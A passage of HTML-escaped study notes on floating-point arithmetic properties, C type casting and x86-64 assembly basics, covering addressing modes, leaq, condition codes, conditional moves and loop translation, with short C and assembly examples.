&lt;ul&gt;
&lt;li&gt;Sign $s$, significand $M$
&lt;ul&gt;
&lt;li&gt;Result of signed align &amp;amp; add&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exponent $E$
&lt;ul&gt;
&lt;li&gt;$E_{1}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Fixing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If $M\geqslant 2$, shift $M$ right, increment $E$&lt;/li&gt;
&lt;li&gt;If $M&amp;lt;1$, shift $M$ left $k$ positions, decrement $E$ by $k$&lt;/li&gt;
&lt;li&gt;Overflow if $E$ out of range&lt;/li&gt;
&lt;li&gt;Round $M$ to fit frac precision&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9gwvbllly4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Mathematical Properties of Floating Point Add&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compare to those of Abelian Group
&lt;ul&gt;
&lt;li&gt;Closed under addition ? (Yes)
&lt;ul&gt;
&lt;li&gt;But may generate infinity or NaN&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Commutative ? (Yes)&lt;/li&gt;
&lt;li&gt;Associative ? (No)
&lt;ul&gt;
&lt;li&gt;Overflow and inexactness of rounding&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(3.14+1e10)-1e10 = 0, 3.14+(1e10-1e10) = 3.14&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$0$ is additive identity ? (Yes)&lt;/li&gt;
&lt;li&gt;Every element has additive inverse ? (Almost)
&lt;ul&gt;
&lt;li&gt;Except for infinities &amp;amp; NaNs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Monotonicity
&lt;ul&gt;
&lt;li&gt;$a\geqslant b\Rightarrow a+c\geqslant b+c$ ? (Almost)
&lt;ul&gt;
&lt;li&gt;Except for infinities &amp;amp; NaNs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Mathematical Properties of Floating Point Mult&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compare to Commutative Ring
&lt;ul&gt;
&lt;li&gt;Closed under multiplication ? (Yes)
&lt;ul&gt;
&lt;li&gt;But may generate infinity or NaN&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Multiplication Commutative ? (Yes)&lt;/li&gt;
&lt;li&gt;Multiplication is Associative ? (No)
&lt;ul&gt;
&lt;li&gt;Possibility of overflow, inexactness of rounding&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(1e20*1e20)*1e-20 = inf, 1e20*(1e20*1e-20) = 1e20&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$1$ is multiplicative identity ? (Yes)&lt;/li&gt;
&lt;li&gt;Multiplication distributes over addition ? (No)
&lt;ul&gt;
&lt;li&gt;Possibility of overflow, inexactness of rounding&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1e20*(1e20-1e20) = 0.0, 1e20*1e20-1e20*1e20 = NaN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Monotonicity
&lt;ul&gt;
&lt;li&gt;$a\geqslant b\ &amp;amp;\ c\geqslant 0\Rightarrow a\cdot c\geqslant b\cdot c$ ? (Almost)
&lt;ul&gt;
&lt;li&gt;Except for infinities &amp;amp; NaNs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Floating Point in C&lt;/h2&gt;
&lt;h3&gt;Conversions / Casting&lt;/h3&gt;
&lt;p&gt;:::caution
Casting between &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, and &lt;code&gt;double&lt;/code&gt; changes bit representation!
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;double/float&lt;/code&gt; to &lt;code&gt;int&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Truncates fractional part&lt;/li&gt;
&lt;li&gt;Like rounding toward zero&lt;/li&gt;
&lt;li&gt;Not defined when out of range or $NaN$: Generally sets to $TMin$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int&lt;/code&gt; to &lt;code&gt;double&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Exact conversion, as long as &lt;code&gt;int&lt;/code&gt; has $\leqslant 53$ bit word size&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int&lt;/code&gt; to &lt;code&gt;float&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Will round according to rounding mode&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Machine-Level Programming&lt;/h1&gt;
&lt;h2&gt;History of Intel processors and architectures&lt;/h2&gt;
&lt;p&gt;Nobody (at least me), can keep these long history in mind! So I&apos;ll just skipping this part to save life~&lt;/p&gt;
&lt;h2&gt;C, Assembly, Machine Code&lt;/h2&gt;
&lt;h3&gt;Definitions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Architecture: (also ISA: instruction set architecture) The parts of a processor design that one needs to understand or write assembly/machine code
&lt;ul&gt;
&lt;li&gt;Examples: instruction set specification, registers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Microarchitecture: Implementation of the architecture
&lt;ul&gt;
&lt;li&gt;Examples: cache sizes and core frequency&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Assembly / Machine Code View&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5c19zhouhx.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Turning C into Object Code&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Code in files &lt;code&gt;p1.c&lt;/code&gt; &lt;code&gt;p2.c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compile with command: &lt;code&gt;gcc -Og p1.c p2.c -o p&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Use basic optimizations (&lt;code&gt;-Og&lt;/code&gt;) [New to recent versions of GCC]&lt;/li&gt;
&lt;li&gt;Put resulting binary in file &lt;code&gt;p&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8z6tn0l05d.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Assembly Characteristics: Data Types&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Integer&quot; data of 1, 2, 4 or 8 bytes
&lt;ul&gt;
&lt;li&gt;Data values&lt;/li&gt;
&lt;li&gt;Address (untyped pointers)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Floating Point data of 4, 8 or 10 bytes&lt;/li&gt;
&lt;li&gt;Code: Byte sequences encoding series of instructions&lt;/li&gt;
&lt;li&gt;No aggregate types such as arrays or structures
&lt;ul&gt;
&lt;li&gt;Just contiguously allocated bytes in memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Assembly Characteristics: Operations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Perform arithmetic function on register or memory data&lt;/li&gt;
&lt;li&gt;Transfer data between memory and register
&lt;ul&gt;
&lt;li&gt;Load data from memory into register&lt;/li&gt;
&lt;li&gt;Store register data into memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Transfer control
&lt;ul&gt;
&lt;li&gt;Conditional branches&lt;/li&gt;
&lt;li&gt;Unconditional jumps to/from procedures&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Object Code&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Assembler
&lt;ul&gt;
&lt;li&gt;Translates &lt;code&gt;.s&lt;/code&gt; into &lt;code&gt;.o&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Binary encoding of each instruction&lt;/li&gt;
&lt;li&gt;Nearly-complete image of executable code&lt;/li&gt;
&lt;li&gt;Missing linkages between code in different files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Linker
&lt;ul&gt;
&lt;li&gt;Resolves references between files&lt;/li&gt;
&lt;li&gt;Combines with static run-time libraries
&lt;ul&gt;
&lt;li&gt;E.g., code for &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;printf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some libraries are dynamically linked
&lt;ul&gt;
&lt;li&gt;Linking occurs when program begins execution&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Assembly Basics: Registers, Operands, Move&lt;/h2&gt;
&lt;h3&gt;x86‐64 Integer Registers&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axgptv3ep.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Moving Data&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;movq src, dst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Operand Types
&lt;ul&gt;
&lt;li&gt;Immediate: Constant integer data
&lt;ul&gt;
&lt;li&gt;E.g., &lt;code&gt;$0x400&lt;/code&gt;, &lt;code&gt;$-533&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Like C constant, but prefixed with &lt;code&gt;$&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Encoded with 1, 2, or 4 bytes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Register: One of 16 integer registers
&lt;ul&gt;
&lt;li&gt;E.g., &lt;code&gt;%rax&lt;/code&gt;, &lt;code&gt;%r13&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;But &lt;code&gt;%rsp&lt;/code&gt; reserved for special use&lt;/li&gt;
&lt;li&gt;Others have special uses for particular instructions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Memory: 8 consecutive bytes of memory at address given by register
&lt;ul&gt;
&lt;li&gt;Simplest example: &lt;code&gt;(%rax)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Various other &quot;address modes&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkaizapzl.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Complete Memory Addressing Modes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;D(Rb, Ri, S)&lt;/code&gt;, &lt;code&gt;Mem[Reg[Rb] + S * Reg[Ri] + D]&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;D&lt;/code&gt;: Constant &quot;displacement&quot; 1, 2, or 4 bytes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Rb&lt;/code&gt;: Base register: Any of 16 integer registers&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ri&lt;/code&gt;: Index register: Any, except for &lt;code&gt;%rsp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;S&lt;/code&gt;: Scale (1, 2, 4, or 8)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Special Cases
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(Rb, Ri)&lt;/code&gt;: &lt;code&gt;Mem[Reg[Rb] + Reg[Ri]]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;D(Rb, Ri)&lt;/code&gt;: &lt;code&gt;Mem[Reg[Rb] + Reg[Ri] + D]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(Rb, Ri, S)&lt;/code&gt;: &lt;code&gt;Mem[Reg[Rb] + S * Reg[Ri]]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Arithmetic &amp;amp; Logical Operations&lt;/h2&gt;
&lt;h3&gt;Address Computation Instruction&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;leaq src, dst&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src&lt;/code&gt; is address mode expression&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;dst&lt;/code&gt; to address denoted by expression&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Uses
&lt;ul&gt;
&lt;li&gt;Computing addresses without a memory reference
&lt;ul&gt;
&lt;li&gt;E.g., translation of &lt;code&gt;p = &amp;amp;x[i];&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Computing arithmetic expressions of the form &lt;code&gt;x + k * y&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;k&lt;/code&gt; equals to 1, 2, 4, or 8&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is an example of computing arithmetic expression with &lt;code&gt;leaq&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long m12(long x) {
  return x * 12;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Converted to ASM by compiler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leaq (%rdi, %rdi, 2), %rax # t &amp;lt;- x + x * 2
salq $2, %rax              # return t &amp;lt;&amp;lt; 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A bit more complex one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long arith(long x, long y, long z) {
  long t1 = x + y;
  long t2 = z + t1;
  long t3 = x + 4;
  long t4 = y * 48;
  long t5 = t3 + t4;
  long rval = t2 * t5;

  return rval;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;arith:
  leaq (%rdi, %rsi), %rax     # t1
  addq %rdx, %rax             # t2
  leaq (%rsi, %rsi, 2), %rdx
  salq $4, %rdx               # t4
  leaq 4(%rdi, %rdx), %rcx    # t5
  imulq $rcx, %rax            # rval
  ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Control: Condition Codes&lt;/h2&gt;
&lt;h3&gt;Condition Codes (Implicit Setting)&lt;/h3&gt;
&lt;p&gt;Think of it as a side effect by arithmetic operations.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;leaq&lt;/code&gt; won&apos;t effect flags.&lt;/p&gt;
&lt;h3&gt;Condition Codes (Explicit Setting)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compare Instrucion
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cmpq src2, src1&lt;/code&gt;: computing &lt;code&gt;src1 - src2&lt;/code&gt; without setting destination&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Test Instruction
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;testq src2, src1&lt;/code&gt;: computing &lt;code&gt;src1 &amp;amp; src2&lt;/code&gt; without setting destination&lt;/li&gt;
&lt;li&gt;Useful to have one of the operands be a mask&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reading Condition Codes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setX&lt;/code&gt; Instructions
&lt;ul&gt;
&lt;li&gt;Set low‐order byte of destination (must one of addressable byte registers) to 0 or 1 based on combinations of
condition codes&lt;/li&gt;
&lt;li&gt;Does not alter remaining 7 bytes
&lt;ul&gt;
&lt;li&gt;Typically use &lt;code&gt;movzbl&lt;/code&gt; (Move with Zero-Extend from Byte to Long) to finish job
&lt;ul&gt;
&lt;li&gt;32‐bit instructions also set upper 32 bits to 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::note
Any computation where the result is a 32-bit result, it will zero out the higher 32-bits of the register. And its different for example the byte level operations only affect the bytes, the word operations only affect two bytes.
:::&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;setX&lt;/th&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Equal / Zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setne&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Not Equal / Not Zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Negative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~SF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nonnegative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~(SF ^ OF) &amp;amp; ~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Greater (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~(SF ^ OF)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Greater or Equal (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(SF ^ OF)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Less (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(SF ^ OF) | ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Less or Equal (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;seta&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~CF &amp;amp; ~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Above (Unsigned)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Below (Unsigned)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;:::note
&lt;code&gt;sil&lt;/code&gt;, &lt;code&gt;dil&lt;/code&gt;, &lt;code&gt;spl&lt;/code&gt;, &lt;code&gt;bpl&lt;/code&gt; are all 1 byte registers.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int gt(long x, long y) {
  return x &amp;gt; y;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cmpq   %rsi, %rdi # Compare x:y
setg   %al        # Set %al to 1 when &amp;gt;
movzbl %al, %eax  # Zero rest of %rax
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conditional Branches&lt;/h2&gt;
&lt;h3&gt;Jumping&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jX&lt;/code&gt; Instructions
&lt;ul&gt;
&lt;li&gt;Jump to different part of code depending on condition codes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;jX&lt;/th&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unconditional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;je&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Equal / Zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jne&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Not Equal / Not Zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Negative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~SF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nonnegative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~(SF ^ OF) &amp;amp; ~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Greater (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~(SF ^ OF)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Greater or Equal (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SF ^ OF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Less (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(SF ^ OF) | ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Less or Equal (Signed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ja&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~CF &amp;amp; ~ZF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Above (Unsigned)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Below (Unsigned)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Using Conditional Moves&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Conditional Move Instructions
&lt;ul&gt;
&lt;li&gt;Instruction supports: &lt;code&gt;if (Test) Dest &amp;lt;- Src&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Supported in post-1995 x86 processors&lt;/li&gt;
&lt;li&gt;GCC tries to use them (but, only when known to be safe)
&lt;ul&gt;
&lt;li&gt;Branches are very disruptive to instruction flow through pipelines&lt;/li&gt;
&lt;li&gt;Conditional moves do not require control transfer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a simple example of conditional move:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long absdiff(long x, long y) {
  long result;
  if (x &amp;gt; y)
    result = x - y;
  else
    result = y - x;
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;absdiff:
  movq   %rdi, %rax # x
  subq   %rsi, %rax # result = x - y
  movq   %rsi, %rdx
  subq   %rdi, %rdx # eval = y - x
  cmpq   %rsi, %rdi # x:y
  cmovle %rdx, %rax # if &amp;lt;=, result = eval
  ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Bad Cases for Conditional Move&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Expensive Computations: &lt;code&gt;val = Test(x) ? Hard1(x) : Hard2(x);&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Both values get computed&lt;/li&gt;
&lt;li&gt;Only makes sense when computations are very simple&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Risky Computations: &lt;code&gt;val = p ? *p : 0;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Both values get computed&lt;/li&gt;
&lt;li&gt;May have undesirable effects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Computations with side effects: &lt;code&gt;val = x &amp;gt; 0 ? x *= 7 : x += 3;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Both values get computed&lt;/li&gt;
&lt;li&gt;Must be side-effect free&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Loops&lt;/h2&gt;
&lt;p&gt;:::important
Each kind of loop will convert to their &lt;code&gt;goto&lt;/code&gt; version and then assembly code.
:::&lt;/p&gt;
&lt;h3&gt;&quot;Do-While&quot; Loop&lt;/h3&gt;
&lt;p&gt;C Code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long pcount_do(unsigned long x) {
  long result = 0;
  do {
    result += x &amp;amp; 0x1;
    x &amp;gt;&amp;gt;= 1;
  } while (x);
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Goto Version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long pcount_goto(unsigned long x) {
  long result = 0;
loop:
  result += x &amp;amp; 0x1;
  x &amp;gt;&amp;gt;= 1;
  if (x) goto loop;
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assembly Code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  movl $0, %eax   # result = 0
.L2:              # loop:
  movq %rdi, %rdx
  andl $1, %edx   # t = x &amp;amp; 0x1
  addq %rdx, %rax # result += t
  shrq %rdi       # x &amp;gt;&amp;gt;= 1
  jne  .L2        # if (x) goto loop
  rep; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;General &quot;Do-While&quot; Translation&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;do {
  Body
} while (Test);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;loop:
  Body
  if (Test)
    goto loop
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&quot;While&quot; Loop&lt;/h3&gt;
&lt;h4&gt;General &quot;While&quot; Translation 1 (&quot;Jump‐to-middle&quot; translation, compiled with &lt;code&gt;-Og&lt;/code&gt;)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;while (Test) {
  Body
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;  goto test
loop:
  Body
test:
  if (Test)
    goto loop
done:
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;General &quot;While&quot; Translation 2 (Compiled with &lt;code&gt;-O1&lt;/code&gt;)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;while (Test) {
  Body
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To Do-While Version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (!Test)
    goto done;
  do {
    Body
  } while (Test);
done:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Goto Version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (!Test)
    goto done;
loop:
  Body
  if (Test)
    goto loop;
done:
